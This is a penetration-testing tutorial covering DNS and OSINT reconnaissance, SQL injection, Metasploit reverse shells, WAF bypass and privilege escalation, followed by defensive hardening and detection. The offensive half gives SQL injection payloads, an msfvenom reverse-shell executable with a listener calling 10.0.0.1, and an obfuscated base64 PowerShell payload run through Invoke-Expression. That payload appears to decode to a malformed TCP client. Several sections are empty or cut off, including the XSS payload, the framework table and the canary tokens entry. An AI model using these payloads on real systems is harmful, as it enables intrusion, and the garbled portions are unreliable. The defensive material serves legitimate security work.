Hands-On Techniques for Reconnaissance and Exploitation

Passive Reconnaissance Methodology

DNS Enumeration and WHOIS Lookups
DNS records and WHOIS data expose critical infrastructure details, including domain registrant information, name servers, and subdomain relationships. Tools like `dig`, `nslookup`, and `dnsenum` automate this process, while WHOIS queries via `whois` or online databases (e.g., ICANN Lookup) reveal registration dates, contact details, and historical changes.

Example Commands:

# DNS Zone Transfer (if allowed)
dig axfr example.com @ns1.example.com

# Subdomain Enumeration
dnsenum --enum -d example.com

# WHOIS Query
whois example.com | grep -E "Registrar|Creation Date|Name Server"

Automated OSINT Workflow:

import requests
from bs4 import BeautifulSoup

def scrape_metadata(url):
headers = {'User-Agent': 'Mozilla/5.0'}
response = requests.get(url, headers=headers)
soup = BeautifulSoup(response.text, 'html.parser')
return {
'title': soup.title.string,
'links': [a['href'] for a in soup.find_all('a', href=True)],
'metadata': soup.find_all('meta')
}

Exploiting Common Vulnerabilities

SQL Injection (SQLi) Exploitation
SQLi vulnerabilities arise from improper input sanitization, allowing attackers to manipulate database queries. Tools like SQLmap automate exploitation, while manual techniques involve crafting payloads to extract data or execute commands.

Manual SQLi Payload Examples:

-- Classic UNION-based payload
' UNION SELECT 1, table_name, 3 FROM information_schema.tables--

-- Time-based blind SQLi
' AND IF(1=1, SLEEP(5), 0)--

Stored XSS Payload:

Metasploit Buffer Overflow Workflow:

# Generate payload
msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f exe > exploit.exe

# Set up listener
msfconsole
use exploit/multi/handler
set payload windows/shell_reverse_tcp
set LHOST 10.0.0.1
exploit

Bypassing Security Controls

WAF Bypass Techniques
WAFs filter known attack patterns (e.g., SQL keywords). Bypassing involves:

Example WAF Bypass Payload:

import requests
import urllib3

url = "http://target.com/login"
payload = {
"username": "admin'--",
"password": "x"
}
headers = {"X-Forwarded-For": "127.0.0.1", "User-Agent": "Mozilla/5.0"}
response = requests.post(url, data=payload, headers=headers)

Base64-Obfuscated PowerShell Payload:

$encoded = "JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADAAMQA1ADAAMQA0AC4AMQA4ADIALgAxADAAMQA5ADAAMQA0AC4AMQA4ADIALgAxADAAMQA5ADAAMQA0AC4AMQA4ADIALgAxADAAMQA5ADAAMQA0AC4AMQA4ADIAMQA5ADIALgAxADAAMQA5ADAAMQA0AC4AMQA4ADIAMQA5ADIALgAxADAAMQA5ADAAMQA0AC4AMQA4ADIAMQA5ADIALgAxADAAMQA5ADAAMQA0AC4AMQA4ADIAMQA5ADIALgAxADAAMQA5ADAAMQA0AC4AMQA4ADIA=="
$bytes = [System.Convert]::FromBase64String($encoded)
$script = [System.Text.Encoding]::UTF8.GetString($bytes)
Invoke-Expression $script

Post-Exploitation Techniques

Privilege Escalation Methods:

Windows: Token impersonation (`incognito`), service exploits (`ms17-010`).

Linux: SUID binaries, cron jobs, kernel exploits (`DirtyCow`).

Active Directory: Golden Ticket attacks (`Mimikatz`), Kerberoasting.

Lateral Movement Tools:

PowerShell Empire: Post-exploitation modules for credential harvesting.

Cobalt Strike: Pivoting via SOCKS proxies.

Linux: `ssh`, `netcat`, or `chisel` for tunneling.

Automated Privilege Escalation Script (Linux):

#!/bin/bash

Check for SUID binaries

find / -perm -4000 -type f 2>/dev/null | while read file; do
echo "[+] SUID Binary: $file"
done

# Check cron jobs
crontab -l 2>/dev/null | grep -v "^#"

Exploit Development Frameworks Comparison

| Framework | Use Case | Integration with Metasploit | Example Tools/Modules

Defensive Strategies and Countermeasures in Cybersecurity

System Hardening Against Common Attack Vectors

Patch Management and Vulnerability Mitigation
Regular patching addresses known vulnerabilities in operating systems, applications, and firmware. Organizations should prioritize patches based on severity (e.g., CVSS scores) and test updates in staging environments before deployment. For example:

Best Practice: Patch within 48 hours of disclosure for critical vulnerabilities (CVE severity ≥ 9.0) and document exceptions with risk acceptance.

# Restrict 'dev' user to only run 'git' and 'docker build'
User_Alias DEV_USERS = dev
Cmnd_Alias DEV_TASKS = /usr/bin/git, /usr/bin/docker build
DEV_USERS ALL=(ALL) NOPASSWD: DEV_TASKS

Disabling Unnecessary Services
Attackers target services like SMB (Port 445), RDP (Port 3389), or FTP (Port 21). Disable or restrict these via:

# Disable SMBv1 (vulnerable to EternalBlue)
Disable-WindowsOptionalFeature -Online -FeatureName smb1protocol

- Linux:

# Stop and mask FTP service (systemd)
sudo systemctl stop vsftpd
sudo systemctl mask vsftpd

Detecting and Mitigating Reconnaissance Activities

SIEM and Log Analysis Tools

// Kibana Discovery Query
"event.dataset": "suricata.alert" AND "suricata.alert.rule": "ET SCAN Potential Scan"

- Visualize DNS tunneling via Kibana dashboards (e.g., `dns.qry.name: "*.internal-domain.com"`).

Behavioral Anomaly Detection

alert tcp any any -> any any (msg:"Recon - Masscan Port Sweep"; flow:to_server,established; threshold:type threshold, track by_src, count 50, seconds 60; sid:1000001; rev:1;)

Honeypots and Deceptive Technologies
Honeypots lure attackers into revealing their tactics, while canary tokens (e.g., CanaryTokens.org) detect credential stuffing or data exfiltration attempts.

docker run -p 2222:22 -d cowrie/cowrie

- Canary Tokens:

Defensive Countermeasures for Specific Attack Types